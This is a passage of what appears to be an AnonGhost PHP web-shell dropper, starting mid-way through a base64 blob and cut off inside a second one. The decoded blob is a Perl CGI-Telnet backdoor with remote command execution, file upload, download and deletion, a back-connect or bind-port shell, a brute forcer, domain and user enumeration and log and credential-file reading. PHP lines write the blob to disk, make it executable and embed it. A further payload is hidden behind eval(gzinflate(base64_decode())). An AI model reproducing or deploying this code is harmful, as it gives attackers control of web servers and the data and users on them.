GU9J3RleHQnIGlkPSdkJyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHdpZHRoPScxNTAnPk93bmVyPC90aD4NCgkJPHRoIHdpZHRoPScxMDAnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCB3aWR0aD0nMjMwJz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJub3RsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCW5leHQ7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZGlyJz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRkKS4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKTsgcmV0dXJuIGZhbHNlOyBcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJbXkgJGFjdGlvbiA9IGVuY29kZV9iYXNlNjQoImVkaXQgIi4kZmlsZSk7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRmaWxlJywnZicpOyByZXR1cm4gZmFsc2U7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPkRvd25sb2FkPC9hPiB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGZpbGU6ICRmaWxlID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkMG1haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGgzPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNGRjAwMDA7Jz5Eb21haW4gKyBVc2VyPC9mb250PjwvaDM+IjsNCglpZiAoJGVycikNCgl7DQoJCSRyZXN1bHQgLj0gICgnPHA+QzB1bGRuXCd0IEJ5cGFzcyBpdCAsIFNvcnJ5PC9wPicpOw0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAnPHRhYmxlIGlkPSJkb21haW4iPjx0cj48dGg+ZDBtYWluczwvdGg+IDx0aD5Vc2VyPC90aD48L3RyPic7DQoJfQ0KCWZvcmVhY2ggbXkgJG9uZSAoQGNuenMpDQoJew0KCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQ0KCQl7CQ0KCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsNCgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsNCgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsNCgkJCSRyZXN1bHQgLj0gJzx0ciBzdHlsZT0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiQxLiciIHRhcmdldD0iX2JsYW5rIj4nLiQxLic8L2E+PC90ZD48dGQ+ICcuJG93bmVyLic8L3RkPjwvdHI+JzsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICc8L3RhYmxlPic7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFZpZXcgTG9nDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0xvZw0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglpZigkV2luTlQpDQoJew0KCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjRkYwMDAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOw0KCX0NCglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOw0KCW15IEBwYXRobG9nPSgJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYnLA0KCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsDQoJCQknL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9zdXBocF9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xpY2Vuc2VfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xvZ2luX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy92YXIvY3BhbmVsL2NwYW5lbC5jb25maWcnLA0KCQkJJy91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pJywNCgkJCScvdXNyL2xvY2FsL3BocDUvbGliL3BocC5pbmknLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWxkZXJyb3IubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nJywNCgkJCScvdmFyL215c3FsLmxvZycsDQoJCQknL3Zhci9saWIvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215c3FsL215LmNuZicsDQoJCQknL2V0Yy9teS5jbmYnLA0KCQkJKTsNCglteSAkaT0wOw0KCW15ICRwZXJtczsNCglteSAkc2w7DQoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykNCgl7DQoJCWlmKC1yICRsb2cpDQoJCXsNCgkJCSRwZXJtcz0iT0siOw0KCQl9ZWxzZQ0KCQl7DQoJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCgkJfQ0KCQkkcmVzdWx0IC49PDxFTkQ7DQoJCTx0cj4NCg0KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25TdWJtaXQ9IkVuY29kZXIoJ2xvZyRpJykiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0ibG9nJGkiIG5hbWU9ImMiIHZhbHVlPSJ0YWlsIC0xMDAwMCAkbG9nIHwgZ3JlcCAnL2hvbWUnIiBzaXplPSc1MCcvPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8dGQ+JHBlcm1zPC90ZD4NCg0KCQk8L3RyPg0KRU5EDQoJCSRpKys7DQoJfQ0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9IGRlY29kZV9iYXNlNjQoJGlueydjJ30pOw0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCiRBY3Rpb24gPSAkaW57J2EnfTsNCg0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVudERpciA9ICZUcmltU2xhc2hlcyhkZWNvZGVfYmFzZTY0KHRyaW0oJGlueydkJ30pKSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9tcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOw0KDQokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7DQoNCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQ0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImQiKTsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZigkY2htb2QgbmUgMCkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWlmKGNobW9kKCRjaG1vZCwkZmlsZSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQ0KCQl9DQoJfQ0KCSRyZW5hbWU9JGlueydyZW5hbWUnfTsNCglpZigkcmVuYW1lIG5lICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn1lbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCXByaW50ICZVcGxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KCXByaW50ICZCYWNrQmluZDsNCn1lbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==';
  65.     $file = fopen("agcgi14.izo" ,"w+");
  66.     $write = fwrite ($file ,base64_decode($agcgi14));
  67.     fclose($file);
  68.         chmod("agcgi14.izo",0755);
  69.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost CGI-Telnet Version 1.4</b></p><iframe src=agcgi14/agcgi14.izo width=75% height=60% frameborder=0></iframe>"; }
  70.     elseif(isset($_GET['vbul'])) {
  71.     $vbul ='PD9waHAgLy8tLSBDb2RlZCBieSBBbm9uR2hvc3QgLS0vLw0KcHJlZ19yZXBsYWNlKCIvLiovZSIsIlx4NjVceDc2XHg2MVx4NkNceDI4XHg2N1x4N0FceDY5XHg2RVx4NjZceDZDXHg2MVx4NzRceDY1XHgyOFx4NjJceDYxXHg3M1x4NjVceDM2XHgzNFx4NUZceDY0XHg2NVx4NjNceDZGXHg2NFx4NjVceDI4J2xadkxqdXZJRVVUM0J2d1BGeGV6c0RjRGtmVVNNZkNmY0VPSjBzcHI0MzYrVlZFbkt0bHRZNEJaQ04xcVVmWElSMFJrVnZWdnY1N3Y1L25qeCsvLyt2RnovOVZ1bjllNi82cmw4MnI3ci9LTzkvMnordnk4bHM4cmpiK3Q5OC9yOC9uNmVXNTlmVjdIK0YyZjliOC94OC95K2RrK3o2YjZlWlhMK3piKzl1WHo1ZXY3bkM3dlAyT2wrN2ZuMjlmeDhyZnZwKzNiZU9YYjUvVlA1dnUrbnI3ZS9DZjcrWC9yKzc3LzcrTjluKzg2WHZxMnZ2UnQvcyt6K2J2OS9teDk5WC9uKzB2ZlozL3JaOTN0NCt2eWVkVSt4bjNZcmZXeEsvSFI0K1lUQ3ptUFovbzROUTkvNUhQNG9YL2UvOWJIN3M5cjduV00yK2ZLejJHalZzYjM2aWZHU245Zng3anlkY1l1YWNScWY3YlBWMjdqK2Y1NzI4YnovV2RoYllxVjUxaExXY2JjOVRIaVByR0h2STd2OWUva1kreWgrMDkySnhjYThWKzZEVGJXV2xnWGM5UnRmTjZmUzZ4Yk9mTW01L3A2dDdGbTJmSSsvamFmdVkvOTkzRzFkNzQvNHdNYmRwdXUyTHlQdFQ3R1dQMW50ME5sanVMMWxiRi9mYWV4anh1ZmJUR2ViUE5pRHVmN1k2eGwrbXpCWjBlc3JYK3U3L1UxdjhkTDl1L3YrYnUrZTR2NTJ6SnNwdkhTV0VlZnE5dFBQdDFHek5ndUhaTXl0cFV2YnpGM2oxWFpld01IVnV6d0dtdXA3RVhyV2taODlQbWJiYnJHMm91ZjNjYTR3c1dEWjB1c1QvalN4bk45M2QwbWZaMk4yRkFjMVpFL3N1ZGo1RTcvdVJKL2ZUL0tyUmZ6OUJqcWU3bU5mRlhjNWJIK1BxYnNVL0hKU240OXdlRTMrYkN3N20zRXVaNTdqL1YwMnd1MzB0aDN0N0hXbTBZTTkxelEyR25FZi8rK1lyMlIwemZ5dlF5YkZOczQ0K2M3dGsvTTM0Yk4rdnMrYjMvZnlMT2VEOHFiTm1JdDRlTStkN2RCMzFlNzdGczJPY2psTk5iVTJFY2ZNMk9ubmwvaXJqSjhYR3hqY0tpdkp4RWZmVjdsL0RsaUtSUG5IbGZ6Z2pQYTA0THZYbU85aW9HRG5IK1FFNDh4VndhVGxDTnI1S25lbCtHVFJud2xjQzh6dHNaNmpYM0s1emYyZFJLM3hKUFhucmZZYXdOWHROOWx4S2pzV29uWEk3QlkrMHZEdGduZTd6N1Z1Ty9BWk9VYnNkUEg3SGJyTm0rTzcyMzRUTEcyRGR4S2p2a0grRi9JMFNkeGtZWk4rM3lObURRdVYvWWxmckhON2QvN21Nc1kwdTNmL1NDT3ZZMzR6OFJobjd1QjVScHZZVzFiOEVZbVQ4b1dPVnBLOElsK0ZuSUJISGZPTnpCUjhWLzQvcE05UDRoTllqeVIzM3IySkE4UHVBZWNGWTR0NC9rQ2grbnpCbDZrWVcvTjFXS3Z5cUVTKzFPZVBNYm5QV2JFcC9mZzhqNS9LOEZWbVhobzVqeHd0TEoyNDJraEI3cWRoVGNMZmwvR3VoVUx4dlhNbnVISFZDNDhTU3hXZEluOEQ1YnFmUVBmRjJ5ZTRFcmpWaDV6S2NlUEdMdnduUEV6bzFzcVdHWTdhQjZ2TFVVdXl3WWw4Q0xEazkzbnhiaVUwUTdZSlBFZHhjZ0xYendqRHhWREcvdmQyTTgyNGw0ODM4Z2JZa0dZUjA0MnRJeXdjbVVQYUJIaE1ERlI0WFhwSC9ndm9RTXE4VkR4VWQxaS9KUkRZeVd3d2xxaU9mZkozUjVYamU4ckg4OExQdGhteEVUaGVXR2dkY09kZUgyTVp4VjM1SFlDdjF1TmRTVDRxYzh0djFvVDV1RUg1ZWdHWjNydVN4NGFjOHc1bXFkRm5CckxVZ3Rka3NBMjZlVU4zci9vclVxT2Ruc3E5OUVGMXBDVGUxNWZPYmZDVWNWMnhZZDlEOEovZkY3QjlHUmRmUkRuenBzek9OeDVhMHdRZnBNTGlyVnkwWVBrYWNvLy8vajczMzc3dGQ2T2wydEJhY2dhK2lnYlUwcm84MkpOUlg1V2EzUzB1RERiT0hJRGE5OXdaZ0tiTW5FQlgwclRMK3poVGw1ajk0ek95V2d5N1FFK0Z6NHdyN0RNM0h3RWIwcHJ3eDM1RWZ3ckxIeUMwVy84UmU1cXJpY1lTUXdxZDZrSnpGWFcvSXIvR3hySXNVMHU5am5TUFhTQWZMcnl1K3RCYS9NMVlyUzZydWJ2NGc3c29uaS84L3NLNTZIZEMrdXNhM0JVQThOVnk2Vjk2bWZIWnlHR0UzV2Q4QzN2b1pQQXVRWXVON1JGUTljcUpzZ0xjNngxWjNOZGR4S1R6bG5xTTJFVG1zczRtVi9CZStaTTYrUUVCL1hQRXZwZCtZQStWZjJYOE9PTE9BT1g1UXZyamhwMW1YV0FjQlpONWRwTEdGN0IyeEwxaU96OUdqSFY0QmJYVkk0ZjUwbGFnME1hOFZISWFXUDM5TFc1YXIzb0FtUEhpN3dqcGhJYXJxR3pzMnRlZElWOFJWMW5UYVY1VDlaRnJnbG5NellGcnhWZkYwd3hsMm92MUVhSzAzZGduMm9pZUxxQ2FlYVJRajFTcUgyMU5uaFhmU1pzVXNDTUFtZElneEdyamxGclZHdEw0N254U3I1bjNHYk1xOWpoSURlM2lISEh0M3dIejFmV3JONkphd2pxT2MxbnpvYVRxakhlT2VUOTN5NlkrWXJjU2VTQTZ0bEh4R2N6ZHhNZjVSNjUwVXBnZm43R1h2VTVXc2c2VnBoUTBRdlVYY1YxelkxMVdmKzZmNUdHZmI1Z01UV0Q4cGUxRk9hczFHNkt5eFAvNEp0cmo4YVl2cUtKR3pwVkhPODZ4TDJCKy9EQnpHMzRmTllySy9FSUQxb3ZDSWZvY3lqM0R2eEl2SnFiVTQ0NUd